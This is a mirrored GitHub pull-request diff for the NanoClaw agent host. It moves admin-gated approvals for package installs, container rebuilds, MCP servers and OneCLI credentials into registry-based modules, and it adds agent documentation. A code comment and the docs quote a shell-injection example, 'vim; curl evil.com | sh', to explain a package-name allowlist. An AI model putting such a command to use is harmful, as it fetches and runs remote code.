mirror of
https://github.com/qwibitai/nanoclaw.git
synced 2026-06-04 10:14:47 +08:00
Merge pull request #1840 from qwibitai/refactor/pr3-approvals-interactive
refactor(modules): extract approvals + interactive as registry-based modules
This commit is contained in:
@@ -3,11 +3,11 @@ import type Database from 'better-sqlite3';
|
||||
import { log } from '../../log.js';
|
||||
import { migration001 } from './001-initial.js';
|
||||
import { migration002 } from './002-chat-sdk-state.js';
|
||||
import { migration003 } from './003-pending-approvals.js';
|
||||
import { migration004 } from './004-agent-destinations.js';
|
||||
import { migration007 } from './007-pending-approvals-title-options.js';
|
||||
import { migration008 } from './008-dropped-messages.js';
|
||||
import { migration009 } from './009-drop-pending-credentials.js';
|
||||
import { moduleApprovalsPendingApprovals } from './module-approvals-pending-approvals.js';
|
||||
import { moduleApprovalsTitleOptions } from './module-approvals-title-options.js';
|
||||
|
||||
export interface Migration {
|
||||
version: number;
|
||||
@@ -18,9 +18,9 @@ export interface Migration {
|
||||
const migrations: Migration[] = [
|
||||
migration001,
|
||||
migration002,
|
||||
migration003,
|
||||
moduleApprovalsPendingApprovals,
|
||||
migration004,
|
||||
migration007,
|
||||
moduleApprovalsTitleOptions,
|
||||
migration008,
|
||||
migration009,
|
||||
];
|
||||
|
||||
+4
-1
@@ -12,7 +12,10 @@ import type { Migration } from './index.js';
|
||||
* `platform_message_id`, `expires_at`, `status`) let the host edit the admin
|
||||
* card when a request expires and sweep stale rows on startup.
|
||||
*/
|
||||
export const migration003: Migration = {
|
||||
// Retains the original `name` ('pending-approvals') so existing DBs that
|
||||
// already recorded this migration under that name don't re-run it. The
|
||||
// module- prefix lives on the filename / export identifier only.
|
||||
export const moduleApprovalsPendingApprovals: Migration = {
|
||||
version: 3,
|
||||
name: 'pending-approvals',
|
||||
up(db) {
|
||||
+4
-1
@@ -12,7 +12,10 @@ import type { Migration } from './index.js';
|
||||
* the ALTER statements will fail harmlessly (column already exists) and
|
||||
* we swallow the error per-column.
|
||||
*/
|
||||
export const migration007: Migration = {
|
||||
// Retains the original `name` ('pending-approvals-title-options') so
|
||||
// existing DBs that already recorded this migration don't re-run it. The
|
||||
// module- prefix lives on the filename / export identifier only.
|
||||
export const moduleApprovalsTitleOptions: Migration = {
|
||||
version: 7,
|
||||
name: 'pending-approvals-title-options',
|
||||
up(db) {
|
||||
+35
-182
@@ -12,18 +12,11 @@ import fs from 'fs';
|
||||
import path from 'path';
|
||||
|
||||
import { GROUPS_DIR } from './config.js';
|
||||
import {
|
||||
getRunningSessions,
|
||||
getActiveSessions,
|
||||
createPendingQuestion,
|
||||
getSession,
|
||||
createPendingApproval,
|
||||
} from './db/sessions.js';
|
||||
import { getRunningSessions, getActiveSessions, createPendingQuestion, getSession } from './db/sessions.js';
|
||||
import { getAgentGroup, createAgentGroup, updateAgentGroup, getAgentGroupByFolder } from './db/agent-groups.js';
|
||||
import { createDestination, getDestinationByName, hasDestination, normalizeName } from './db/agent-destinations.js';
|
||||
import { getDb, hasTable } from './db/connection.js';
|
||||
import { getMessagingGroup, getMessagingGroupByPlatform } from './db/messaging-groups.js';
|
||||
import { pickApprovalDelivery, pickApprover } from './access.js';
|
||||
import { getMessagingGroupByPlatform } from './db/messaging-groups.js';
|
||||
import {
|
||||
getDueOutboundMessages,
|
||||
getDeliveredIds,
|
||||
@@ -37,7 +30,7 @@ import {
|
||||
updateTask,
|
||||
} from './db/session-db.js';
|
||||
import { log } from './log.js';
|
||||
import { normalizeOptions, type RawOption } from './channels/ask-question.js';
|
||||
import { normalizeOptions } from './channels/ask-question.js';
|
||||
import {
|
||||
openInboundDb,
|
||||
openOutboundDb,
|
||||
@@ -90,11 +83,43 @@ let deliveryAdapter: ChannelDeliveryAdapter | null = null;
|
||||
let activePolling = false;
|
||||
let sweepPolling = false;
|
||||
|
||||
/**
|
||||
* Callbacks fired when the delivery adapter is first set (and again if it's
|
||||
* replaced). Lets modules that need the adapter at boot (e.g. approvals →
|
||||
* OneCLI handler) hook in without core calling into the module directly.
|
||||
*
|
||||
* Not a general-purpose registry — narrow lifecycle hook only.
|
||||
*/
|
||||
type AdapterReadyCallback = (adapter: ChannelDeliveryAdapter) => void | Promise<void>;
|
||||
const adapterReadyCallbacks: AdapterReadyCallback[] = [];
|
||||
|
||||
/** Current delivery adapter or null if not yet set. Modules use this in live
|
||||
* message-flow handlers where the adapter is guaranteed to be set. For
|
||||
* boot-time setup (before the adapter is ready), use onDeliveryAdapterReady. */
|
||||
export function getDeliveryAdapter(): ChannelDeliveryAdapter | null {
|
||||
return deliveryAdapter;
|
||||
}
|
||||
|
||||
export function onDeliveryAdapterReady(cb: AdapterReadyCallback): void {
|
||||
adapterReadyCallbacks.push(cb);
|
||||
if (deliveryAdapter) {
|
||||
// Already set — fire immediately so late registrations still run.
|
||||
void Promise.resolve()
|
||||
.then(() => cb(deliveryAdapter as ChannelDeliveryAdapter))
|
||||
.catch((err) => log.error('onDeliveryAdapterReady callback threw', { err }));
|
||||
}
|
||||
}
|
||||
|
||||
export function setDeliveryAdapter(adapter: ChannelDeliveryAdapter): void {
|
||||
deliveryAdapter = adapter;
|
||||
// Forward to the typing module so it can fire setTyping on its own
|
||||
// interval. Direct call, not a registry — typing is a default module.
|
||||
setTypingAdapter(adapter);
|
||||
for (const cb of adapterReadyCallbacks) {
|
||||
void Promise.resolve()
|
||||
.then(() => cb(adapter))
|
||||
.catch((err) => log.error('onDeliveryAdapterReady callback threw', { err }));
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -120,82 +145,6 @@ function notifyAgent(session: Session, text: string): void {
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Send an approval request to a privileged user's DM and record a
|
||||
* pending_approval row. Routing: admin @ originating agent group → owner.
|
||||
* Tie-break: prefer an approver reachable on the same channel kind as the
|
||||
* originating session's messaging group. Delivery always lands in the
|
||||
* approver's DM (not the origin group), regardless of where the action
|
||||
* was triggered.
|
||||
*/
|
||||
const APPROVAL_OPTIONS: RawOption[] = [
|
||||
{ label: 'Approve', selectedLabel: '✅ Approved', value: 'approve' },
|
||||
{ label: 'Reject', selectedLabel: '❌ Rejected', value: 'reject' },
|
||||
];
|
||||
|
||||
async function requestApproval(
|
||||
session: Session,
|
||||
agentName: string,
|
||||
action: 'install_packages' | 'request_rebuild' | 'add_mcp_server',
|
||||
payload: Record<string, unknown>,
|
||||
title: string,
|
||||
question: string,
|
||||
): Promise<void> {
|
||||
const approvers = pickApprover(session.agent_group_id);
|
||||
if (approvers.length === 0) {
|
||||
notifyAgent(session, `${action} failed: no owner or admin configured to approve.`);
|
||||
return;
|
||||
}
|
||||
|
||||
// Origin channel kind drives the tie-break preference in approval delivery.
|
||||
const originChannelType = session.messaging_group_id
|
||||
? (getMessagingGroup(session.messaging_group_id)?.channel_type ?? '')
|
||||
: '';
|
||||
|
||||
const target = await pickApprovalDelivery(approvers, originChannelType);
|
||||
if (!target) {
|
||||
notifyAgent(session, `${action} failed: no DM channel found for any eligible approver.`);
|
||||
return;
|
||||
}
|
||||
|
||||
const approvalId = `appr-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
|
||||
const normalizedOptions = normalizeOptions(APPROVAL_OPTIONS);
|
||||
createPendingApproval({
|
||||
approval_id: approvalId,
|
||||
session_id: session.id,
|
||||
request_id: approvalId, // fire-and-forget: no separate request id to correlate
|
||||
action,
|
||||
payload: JSON.stringify(payload),
|
||||
created_at: new Date().toISOString(),
|
||||
title,
|
||||
options_json: JSON.stringify(normalizedOptions),
|
||||
});
|
||||
|
||||
if (deliveryAdapter) {
|
||||
try {
|
||||
await deliveryAdapter.deliver(
|
||||
target.messagingGroup.channel_type,
|
||||
target.messagingGroup.platform_id,
|
||||
null,
|
||||
'chat-sdk',
|
||||
JSON.stringify({
|
||||
type: 'ask_question',
|
||||
questionId: approvalId,
|
||||
title,
|
||||
question,
|
||||
options: APPROVAL_OPTIONS,
|
||||
}),
|
||||
);
|
||||
} catch (err) {
|
||||
log.error('Failed to deliver approval card', { action, approvalId, err });
|
||||
notifyAgent(session, `${action} failed: could not deliver approval request to ${target.userId}.`);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
log.info('Approval requested', { action, approvalId, agentName, approver: target.userId });
|
||||
}
|
||||
|
||||
/** Start the active container poll loop (~1s). */
|
||||
export function startActiveDeliveryPoll(): void {
|
||||
if (activePolling) return;
|
||||
@@ -705,102 +654,6 @@ async function handleSystemAction(
|
||||
break;
|
||||
}
|
||||
|
||||
case 'add_mcp_server': {
|
||||
const agentGroup = getAgentGroup(session.agent_group_id);
|
||||
if (!agentGroup) {
|
||||
notifyAgent(session, 'add_mcp_server failed: agent group not found.');
|
||||
break;
|
||||
}
|
||||
const serverName = content.name as string;
|
||||
const command = content.command as string;
|
||||
if (!serverName || !command) {
|
||||
notifyAgent(session, 'add_mcp_server failed: name and command are required.');
|
||||
break;
|
||||
}
|
||||
await requestApproval(
|
||||
session,
|
||||
agentGroup.name,
|
||||
'add_mcp_server',
|
||||
{
|
||||
name: serverName,
|
||||
command,
|
||||
args: (content.args as string[]) || [],
|
||||
env: (content.env as Record<string, string>) || {},
|
||||
},
|
||||
'Add MCP Request',
|
||||
`Agent "${agentGroup.name}" is attempting to add a new MCP server:\n${serverName} (${command})`,
|
||||
);
|
||||
break;
|
||||
}
|
||||
|
||||
case 'install_packages': {
|
||||
const agentGroup = getAgentGroup(session.agent_group_id);
|
||||
if (!agentGroup) {
|
||||
notifyAgent(session, 'install_packages failed: agent group not found.');
|
||||
break;
|
||||
}
|
||||
|
||||
const apt = (content.apt as string[]) || [];
|
||||
const npm = (content.npm as string[]) || [];
|
||||
const reason = (content.reason as string) || '';
|
||||
|
||||
// Host-side sanitization (defense in depth — container should validate first).
|
||||
// Strict allowlist: Debian/npm naming rules only. Blocks shell injection via
|
||||
// package names like `vim; curl evil.com | sh`.
|
||||
const APT_RE = /^[a-z0-9][a-z0-9._+-]*$/;
|
||||
const NPM_RE = /^(@[a-z0-9][a-z0-9._-]*\/)?[a-z0-9][a-z0-9._-]*$/;
|
||||
const MAX_PACKAGES = 20;
|
||||
if (apt.length + npm.length === 0) {
|
||||
notifyAgent(session, 'install_packages failed: at least one apt or npm package is required.');
|
||||
break;
|
||||
}
|
||||
if (apt.length + npm.length > MAX_PACKAGES) {
|
||||
notifyAgent(session, `install_packages failed: max ${MAX_PACKAGES} packages per request.`);
|
||||
break;
|
||||
}
|
||||
const invalidApt = apt.find((p) => !APT_RE.test(p));
|
||||
if (invalidApt) {
|
||||
notifyAgent(session, `install_packages failed: invalid apt package name "${invalidApt}".`);
|
||||
log.warn('install_packages: invalid apt package rejected', { pkg: invalidApt });
|
||||
break;
|
||||
}
|
||||
const invalidNpm = npm.find((p) => !NPM_RE.test(p));
|
||||
if (invalidNpm) {
|
||||
notifyAgent(session, `install_packages failed: invalid npm package name "${invalidNpm}".`);
|
||||
log.warn('install_packages: invalid npm package rejected', { pkg: invalidNpm });
|
||||
break;
|
||||
}
|
||||
|
||||
const packageList = [...apt.map((p) => `apt: ${p}`), ...npm.map((p) => `npm: ${p}`)].join(', ');
|
||||
await requestApproval(
|
||||
session,
|
||||
agentGroup.name,
|
||||
'install_packages',
|
||||
{ apt, npm, reason },
|
||||
'Install Packages Request',
|
||||
`Agent "${agentGroup.name}" is attempting to install a package + rebuild container:\n${packageList}${reason ? `\nReason: ${reason}` : ''}`,
|
||||
);
|
||||
break;
|
||||
}
|
||||
|
||||
case 'request_rebuild': {
|
||||
const agentGroup = getAgentGroup(session.agent_group_id);
|
||||
if (!agentGroup) {
|
||||
notifyAgent(session, 'request_rebuild failed: agent group not found.');
|
||||
break;
|
||||
}
|
||||
const reason = (content.reason as string) || '';
|
||||
await requestApproval(
|
||||
session,
|
||||
agentGroup.name,
|
||||
'request_rebuild',
|
||||
{ reason },
|
||||
'Rebuild Request',
|
||||
`Agent "${agentGroup.name}" is attempting to rebuild container.${reason ? `\nReason: ${reason}` : ''}`,
|
||||
);
|
||||
break;
|
||||
}
|
||||
|
||||
default:
|
||||
log.warn('Unknown system action', { action });
|
||||
}
|
||||
|
||||
+26
-230
@@ -13,56 +13,27 @@ import { getMessagingGroupsByChannel, getMessagingGroupAgents } from './db/messa
|
||||
import { ensureContainerRuntimeRunning, cleanupOrphans } from './container-runtime.js';
|
||||
import { startActiveDeliveryPoll, startSweepDeliveryPoll, setDeliveryAdapter, stopDeliveryPolls } from './delivery.js';
|
||||
import { startHostSweep, stopHostSweep } from './host-sweep.js';
|
||||
import {
|
||||
ONECLI_ACTION,
|
||||
resolveOneCLIApproval,
|
||||
startOneCLIApprovalHandler,
|
||||
stopOneCLIApprovalHandler,
|
||||
} from './onecli-approvals.js';
|
||||
import { routeInbound } from './router.js';
|
||||
import {
|
||||
getPendingQuestion,
|
||||
deletePendingQuestion,
|
||||
getPendingApproval,
|
||||
deletePendingApproval,
|
||||
getSession,
|
||||
} from './db/sessions.js';
|
||||
import { getAgentGroup } from './db/agent-groups.js';
|
||||
import { updateContainerConfig } from './container-config.js';
|
||||
import { writeSessionMessage } from './session-manager.js';
|
||||
import { wakeContainer, buildAgentGroupImage, killContainer } from './container-runner.js';
|
||||
import { log } from './log.js';
|
||||
|
||||
/**
|
||||
* Response handler registry.
|
||||
*
|
||||
* Button-click / question responses arrive via the channel adapter's
|
||||
* `onAction` callback. Core iterates registered handlers in registration
|
||||
* order; the first one that returns `true` claims the response.
|
||||
* Unclaimed responses fall through to the inline `handleQuestionResponse`
|
||||
* below (which handles OneCLI credential approvals, pending_approvals,
|
||||
* and pending_questions). As those modules are extracted, the inline
|
||||
* function will shrink and the registry will own the full dispatch.
|
||||
*/
|
||||
export interface ResponsePayload {
|
||||
questionId: string;
|
||||
value: string;
|
||||
userId: string | null;
|
||||
channelType: string;
|
||||
platformId: string;
|
||||
threadId: string | null;
|
||||
}
|
||||
|
||||
export type ResponseHandler = (payload: ResponsePayload) => Promise<boolean>;
|
||||
|
||||
const responseHandlers: ResponseHandler[] = [];
|
||||
|
||||
export function registerResponseHandler(handler: ResponseHandler): void {
|
||||
responseHandlers.push(handler);
|
||||
}
|
||||
// Response + shutdown registries live in response-registry.ts to break the
|
||||
// circular import cycle: src/index.ts imports src/modules/index.js for side
|
||||
// effects, and the modules call registerResponseHandler/onShutdown at top
|
||||
// level — which would hit a TDZ error if the arrays lived here. Re-exported
|
||||
// here so existing callers see the same surface.
|
||||
import {
|
||||
registerResponseHandler,
|
||||
getResponseHandlers,
|
||||
onShutdown,
|
||||
getShutdownCallbacks,
|
||||
type ResponsePayload,
|
||||
type ResponseHandler,
|
||||
} from './response-registry.js';
|
||||
export { registerResponseHandler, onShutdown };
|
||||
export type { ResponsePayload, ResponseHandler };
|
||||
|
||||
async function dispatchResponse(payload: ResponsePayload): Promise<void> {
|
||||
for (const handler of responseHandlers) {
|
||||
for (const handler of getResponseHandlers()) {
|
||||
try {
|
||||
const claimed = await handler(payload);
|
||||
if (claimed) return;
|
||||
@@ -70,8 +41,7 @@ async function dispatchResponse(payload: ResponsePayload): Promise<void> {
|
||||
log.error('Response handler threw', { questionId: payload.questionId, err });
|
||||
}
|
||||
}
|
||||
// Unclaimed — fall through to inline handler.
|
||||
await handleQuestionResponse(payload.questionId, payload.value, payload.userId ?? '');
|
||||
log.warn('Unclaimed response', { questionId: payload.questionId, value: payload.value });
|
||||
}
|
||||
|
||||
// Channel barrel — each enabled channel self-registers on import.
|
||||
@@ -133,9 +103,8 @@ async function main(): Promise<void> {
|
||||
userId,
|
||||
channelType: adapter.channelType,
|
||||
// platformId/threadId aren't surfaced by the current onAction
|
||||
// signature — the inline fallback looks them up from the
|
||||
// pending_question / pending_approval row. Registered handlers
|
||||
// typically do the same.
|
||||
// signature — registered handlers look them up from the
|
||||
// pending_question / pending_approval row.
|
||||
platformId: '',
|
||||
threadId: null,
|
||||
}).catch((err) => {
|
||||
@@ -178,9 +147,6 @@ async function main(): Promise<void> {
|
||||
startHostSweep();
|
||||
log.info('Host sweep started');
|
||||
|
||||
// 7. Start OneCLI manual-approval handler
|
||||
startOneCLIApprovalHandler(deliveryAdapter);
|
||||
|
||||
log.info('NanoClaw running');
|
||||
}
|
||||
|
||||
@@ -206,186 +172,16 @@ function buildConversationConfigs(channelType: string): ConversationConfig[] {
|
||||
return configs;
|
||||
}
|
||||
|
||||
/** Handle a user's response to an ask_user_question card or an approval card. */
|
||||
async function handleQuestionResponse(questionId: string, selectedOption: string, userId: string): Promise<void> {
|
||||
// OneCLI credential approvals — resolved via in-memory Promise, not session DB
|
||||
if (resolveOneCLIApproval(questionId, selectedOption)) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Check if this is a pending approval (install_packages, request_rebuild)
|
||||
const approval = getPendingApproval(questionId);
|
||||
if (approval) {
|
||||
if (approval.action === ONECLI_ACTION) {
|
||||
// Row exists but the in-memory resolver is gone (timer fired or process
|
||||
// was in a weird state). Nothing to do — just drop the row.
|
||||
deletePendingApproval(questionId);
|
||||
return;
|
||||
}
|
||||
await handleApprovalResponse(approval, selectedOption, userId);
|
||||
return;
|
||||
}
|
||||
|
||||
const pq = getPendingQuestion(questionId);
|
||||
if (!pq) {
|
||||
log.warn('Pending question not found (may have expired)', { questionId });
|
||||
return;
|
||||
}
|
||||
|
||||
const session = getSession(pq.session_id);
|
||||
if (!session) {
|
||||
log.warn('Session not found for pending question', { questionId, sessionId: pq.session_id });
|
||||
deletePendingQuestion(questionId);
|
||||
return;
|
||||
}
|
||||
|
||||
// Write the response to the session DB as a system message
|
||||
writeSessionMessage(session.agent_group_id, session.id, {
|
||||
id: `qr-${questionId}-${Date.now()}`,
|
||||
kind: 'system',
|
||||
timestamp: new Date().toISOString(),
|
||||
platformId: pq.platform_id,
|
||||
channelType: pq.channel_type,
|
||||
threadId: pq.thread_id,
|
||||
content: JSON.stringify({
|
||||
type: 'question_response',
|
||||
questionId,
|
||||
selectedOption,
|
||||
userId,
|
||||
}),
|
||||
});
|
||||
|
||||
deletePendingQuestion(questionId);
|
||||
log.info('Question response routed', { questionId, selectedOption, sessionId: session.id });
|
||||
|
||||
// Wake the container so the MCP tool's poll picks up the response
|
||||
await wakeContainer(session);
|
||||
}
|
||||
|
||||
/**
|
||||
* Handle an admin's response to an approval card.
|
||||
* Fire-and-forget model: the agent doesn't poll for this — we write a chat
|
||||
* notification to its session DB, and optionally kill the container so the
|
||||
* next wake picks up new config/images.
|
||||
*/
|
||||
async function handleApprovalResponse(
|
||||
approval: import('./types.js').PendingApproval,
|
||||
selectedOption: string,
|
||||
userId: string,
|
||||
): Promise<void> {
|
||||
if (!approval.session_id) {
|
||||
deletePendingApproval(approval.approval_id);
|
||||
return;
|
||||
}
|
||||
const session = getSession(approval.session_id);
|
||||
if (!session) {
|
||||
deletePendingApproval(approval.approval_id);
|
||||
return;
|
||||
}
|
||||
|
||||
const notify = (text: string): void => {
|
||||
writeSessionMessage(session.agent_group_id, session.id, {
|
||||
id: `appr-note-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`,
|
||||
kind: 'chat',
|
||||
timestamp: new Date().toISOString(),
|
||||
platformId: session.agent_group_id,
|
||||
channelType: 'agent',
|
||||
threadId: null,
|
||||
content: JSON.stringify({ text, sender: 'system', senderId: 'system' }),
|
||||
});
|
||||
};
|
||||
|
||||
if (selectedOption !== 'approve') {
|
||||
notify(`Your ${approval.action} request was rejected by admin.`);
|
||||
log.info('Approval rejected', { approvalId: approval.approval_id, action: approval.action, userId });
|
||||
deletePendingApproval(approval.approval_id);
|
||||
await wakeContainer(session);
|
||||
return;
|
||||
}
|
||||
|
||||
const payload = JSON.parse(approval.payload);
|
||||
|
||||
if (approval.action === 'install_packages') {
|
||||
const agentGroup = getAgentGroup(session.agent_group_id);
|
||||
if (!agentGroup) {
|
||||
notify('install_packages approved but agent group missing.');
|
||||
return;
|
||||
}
|
||||
updateContainerConfig(agentGroup.folder, (cfg) => {
|
||||
if (payload.apt) cfg.packages.apt.push(...(payload.apt as string[]));
|
||||
if (payload.npm) cfg.packages.npm.push(...(payload.npm as string[]));
|
||||
});
|
||||
|
||||
const pkgs = [...(payload.apt || []), ...(payload.npm || [])].join(', ');
|
||||
log.info('Package install approved', { approvalId: approval.approval_id, userId });
|
||||
try {
|
||||
await buildAgentGroupImage(session.agent_group_id);
|
||||
killContainer(session.id, 'rebuild applied');
|
||||
// Schedule a follow-up prompt a few seconds after kill so the host sweep
|
||||
// respawns the container on the new image and the agent verifies + reports.
|
||||
writeSessionMessage(session.agent_group_id, session.id, {
|
||||
id: `appr-note-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`,
|
||||
kind: 'chat',
|
||||
timestamp: new Date().toISOString(),
|
||||
platformId: session.agent_group_id,
|
||||
channelType: 'agent',
|
||||
threadId: null,
|
||||
content: JSON.stringify({
|
||||
text: `Packages installed (${pkgs}) and container rebuilt. Verify the new packages are available (e.g. run them or check versions) and report the result to the user.`,
|
||||
sender: 'system',
|
||||
senderId: 'system',
|
||||
}),
|
||||
processAfter: new Date(Date.now() + 5000)
|
||||
.toISOString()
|
||||
.replace('T', ' ')
|
||||
.replace(/\.\d+Z$/, ''),
|
||||
});
|
||||
log.info('Container rebuild completed (bundled with install)', { approvalId: approval.approval_id });
|
||||
} catch (e) {
|
||||
notify(
|
||||
`Packages added to config (${pkgs}) but rebuild failed: ${e instanceof Error ? e.message : String(e)}. Call request_rebuild to retry.`,
|
||||
);
|
||||
log.error('Bundled rebuild failed after install approval', { approvalId: approval.approval_id, err: e });
|
||||
}
|
||||
} else if (approval.action === 'request_rebuild') {
|
||||
try {
|
||||
await buildAgentGroupImage(session.agent_group_id);
|
||||
// Kill the container so the next wake uses the new image
|
||||
killContainer(session.id, 'rebuild applied');
|
||||
notify('Container image rebuilt. Your container will restart with the new image on the next message.');
|
||||
log.info('Container rebuild approved and completed', { approvalId: approval.approval_id, userId });
|
||||
} catch (e) {
|
||||
notify(`Rebuild failed: ${e instanceof Error ? e.message : String(e)}`);
|
||||
log.error('Container rebuild failed', { approvalId: approval.approval_id, err: e });
|
||||
}
|
||||
} else if (approval.action === 'add_mcp_server') {
|
||||
const agentGroup = getAgentGroup(session.agent_group_id);
|
||||
if (!agentGroup) {
|
||||
notify('add_mcp_server approved but agent group missing.');
|
||||
return;
|
||||
}
|
||||
updateContainerConfig(agentGroup.folder, (cfg) => {
|
||||
cfg.mcpServers[payload.name as string] = {
|
||||
command: payload.command as string,
|
||||
args: (payload.args as string[]) || [],
|
||||
env: (payload.env as Record<string, string>) || {},
|
||||
};
|
||||
});
|
||||
|
||||
// Kill the container so next wake loads the new MCP server config
|
||||
killContainer(session.id, 'mcp server added');
|
||||
notify(`MCP server "${payload.name}" added. Your container will restart with it on the next message.`);
|
||||
log.info('MCP server add approved', { approvalId: approval.approval_id, userId });
|
||||
}
|
||||
|
||||
deletePendingApproval(approval.approval_id);
|
||||
await wakeContainer(session);
|
||||
}
|
||||
|
||||
/** Graceful shutdown. */
|
||||
async function shutdown(signal: string): Promise<void> {
|
||||
log.info('Shutdown signal received', { signal });
|
||||
stopOneCLIApprovalHandler();
|
||||
for (const cb of getShutdownCallbacks()) {
|
||||
try {
|
||||
await cb();
|
||||
} catch (err) {
|
||||
log.error('Shutdown callback threw', { err });
|
||||
}
|
||||
}
|
||||
stopDeliveryPolls();
|
||||
stopHostSweep();
|
||||
await teardownChannelAdapters();
|
||||
|
||||
@@ -0,0 +1,53 @@
|
||||
## Self-modification tools (require admin approval)
|
||||
|
||||
Three fire-and-forget tools change your container image or config. Each sends an approval card to an admin's DM; you get notified via system chat on approve/reject.
|
||||
|
||||
### install_packages
|
||||
|
||||
Add apt and/or npm packages to your container image. On approval, the config is updated AND the image is rebuilt in the same step — you'll get a follow-up prompt ~5s after rebuild telling you to verify the packages are available.
|
||||
|
||||
```
|
||||
install_packages({
|
||||
apt: ["ripgrep", "jq"], // names only, no version specs or flags
|
||||
npm: ["@anthropic-ai/sdk"], // global install
|
||||
reason: "need rg for fast code search"
|
||||
})
|
||||
```
|
||||
|
||||
- Max 20 packages per request.
|
||||
- Names must match strict regex (blocks shell injection via `vim; curl evil.com`).
|
||||
- After approval: rebuild runs automatically. You do NOT need to call `request_rebuild` separately.
|
||||
|
||||
### add_mcp_server
|
||||
|
||||
Wire an EXISTING third-party MCP server into your runtime config. You must already know the exact `command` and `args`.
|
||||
|
||||
```
|
||||
add_mcp_server({
|
||||
name: "github",
|
||||
command: "npx",
|
||||
args: ["@modelcontextprotocol/server-github"],
|
||||
env: { GITHUB_TOKEN: "..." }
|
||||
})
|
||||
```
|
||||
|
||||
- Does NOT install packages. Use `install_packages` first if the command isn't already available.
|
||||
- On approval, container is killed so the next message wakes it with the new server wired up.
|
||||
|
||||
### request_rebuild
|
||||
|
||||
Rebuild your container image. Only useful if you've already landed `install_packages` approvals whose rebuild step failed, or if you're recovering from a bad config edit.
|
||||
|
||||
```
|
||||
request_rebuild({ reason: "previous install_packages rebuild failed" })
|
||||
```
|
||||
|
||||
### How approval works
|
||||
|
||||
You won't see the admin's response in your current turn. After approval, the container is killed and next time a message arrives your container starts fresh on the new image. If a follow-up system prompt fires (as with `install_packages`), you'll see it and should act on it — verify the change, report to the user.
|
||||
|
||||
If denied, you'll get a chat message telling you the request was rejected. Do not retry automatically; explain to the user what was denied.
|
||||
|
||||
## Credential approvals (OneCLI)
|
||||
|
||||
When you call an external API that requires credentials, OneCLI may prompt an admin for approval before releasing the token. This happens transparently: the HTTP call blocks until admin approves or denies. No action needed from you — just make the call. If it errors out with a credential failure, tell the user and stop.
|
||||
@@ -0,0 +1,37 @@
|
||||
/**
|
||||
* Approvals module — admin-gated self-modification and OneCLI credential flow.
|
||||
*
|
||||
* Registers:
|
||||
* - Three delivery actions the container writes via self-mod MCP tools:
|
||||
* install_packages, request_rebuild, add_mcp_server.
|
||||
* - A response handler that claims `pending_approvals` rows (agent-initiated
|
||||
* approvals) + OneCLI credential approvals (resolved via in-memory Promise).
|
||||
* - An adapter-ready callback that starts the OneCLI manual-approval handler
|
||||
* once the delivery adapter is set.
|
||||
* - A shutdown callback that stops the OneCLI handler cleanly.
|
||||
*/
|
||||
import { registerDeliveryAction, onDeliveryAdapterReady } from '../../delivery.js';
|
||||
import { registerResponseHandler, onShutdown } from '../../response-registry.js';
|
||||
import { handleAddMcpServer, handleInstallPackages, handleRequestRebuild } from './request-approval.js';
|
||||
import { handleApprovalsResponse } from './response-handler.js';
|
||||
import { startOneCLIApprovalHandler, stopOneCLIApprovalHandler } from './onecli-approvals.js';
|
||||
|
||||
registerDeliveryAction('install_packages', async (content, session) => {
|
||||
await handleInstallPackages(content, session);
|
||||
});
|
||||
registerDeliveryAction('request_rebuild', async (content, session) => {
|
||||
await handleRequestRebuild(content, session);
|
||||
});
|
||||
registerDeliveryAction('add_mcp_server', async (content, session) => {
|
||||
await handleAddMcpServer(content, session);
|
||||
});
|
||||
|
||||
registerResponseHandler(handleApprovalsResponse);
|
||||
|
||||
onDeliveryAdapterReady((adapter) => {
|
||||
startOneCLIApprovalHandler(adapter);
|
||||
});
|
||||
|
||||
onShutdown(() => {
|
||||
stopOneCLIApprovalHandler();
|
||||
});
|
||||
@@ -19,18 +19,18 @@
|
||||
*/
|
||||
import { OneCLI, type ApprovalRequest, type ManualApprovalHandle } from '@onecli-sh/sdk';
|
||||
|
||||
import { pickApprovalDelivery, pickApprover } from './access.js';
|
||||
import { ONECLI_URL } from './config.js';
|
||||
import { getAgentGroup } from './db/agent-groups.js';
|
||||
import { pickApprovalDelivery, pickApprover } from '../../access.js';
|
||||
import { ONECLI_URL } from '../../config.js';
|
||||
import { getAgentGroup } from '../../db/agent-groups.js';
|
||||
import {
|
||||
createPendingApproval,
|
||||
deletePendingApproval,
|
||||
getPendingApprovalsByAction,
|
||||
updatePendingApprovalStatus,
|
||||
} from './db/sessions.js';
|
||||
import type { ChannelDeliveryAdapter } from './delivery.js';
|
||||
import { log } from './log.js';
|
||||
import type { PendingApproval } from './types.js';
|
||||
} from '../../db/sessions.js';
|
||||
import type { ChannelDeliveryAdapter } from '../../delivery.js';
|
||||
import { log } from '../../log.js';
|
||||
import type { PendingApproval } from '../../types.js';
|
||||
|
||||
export const ONECLI_ACTION = 'onecli_credential';
|
||||
|
||||
@@ -64,7 +64,7 @@ function shortApprovalId(): string {
|
||||
return `oa-${Math.random().toString(36).slice(2, 10)}`;
|
||||
}
|
||||
|
||||
/** Called from the main `handleQuestionResponse` path when a card button is clicked. */
|
||||
/** Called from the approvals response handler when a card button is clicked. */
|
||||
export function resolveOneCLIApproval(approvalId: string, selectedOption: string): boolean {
|
||||
const state = pending.get(approvalId);
|
||||
if (!state) return false;
|
||||
@@ -0,0 +1,30 @@
|
||||
## Approvals module
|
||||
|
||||
Admin-gated approval flow for agent self-modification and OneCLI credential access. Lives in `src/modules/approvals/`.
|
||||
|
||||
### Two flows
|
||||
|
||||
**Agent-initiated (DB-backed, fire-and-forget).** The container writes a `system`-kind outbound row with one of three actions — `install_packages`, `request_rebuild`, `add_mcp_server`. The module's delivery-action handlers validate, route to the right approver's DM, and persist a `pending_approvals` row. When the admin clicks a button, the registered response handler applies the change (config update → image rebuild → container kill) and notifies the agent via system chat.
|
||||
|
||||
**OneCLI credential (long-poll).** The OneCLI gateway holds an HTTP connection open when it needs credential approval. `onecli-approvals.ts` delivers a card, persists a `pending_approvals` row (action = `onecli_credential`), and waits on an in-memory Promise that resolves on click or expiry timer. Survives host restart: the startup sweep edits stale cards to "Expired (host restarted)" and drops the rows.
|
||||
|
||||
### Wiring
|
||||
|
||||
- **Delivery actions:** `install_packages`, `request_rebuild`, `add_mcp_server` via `registerDeliveryAction`.
|
||||
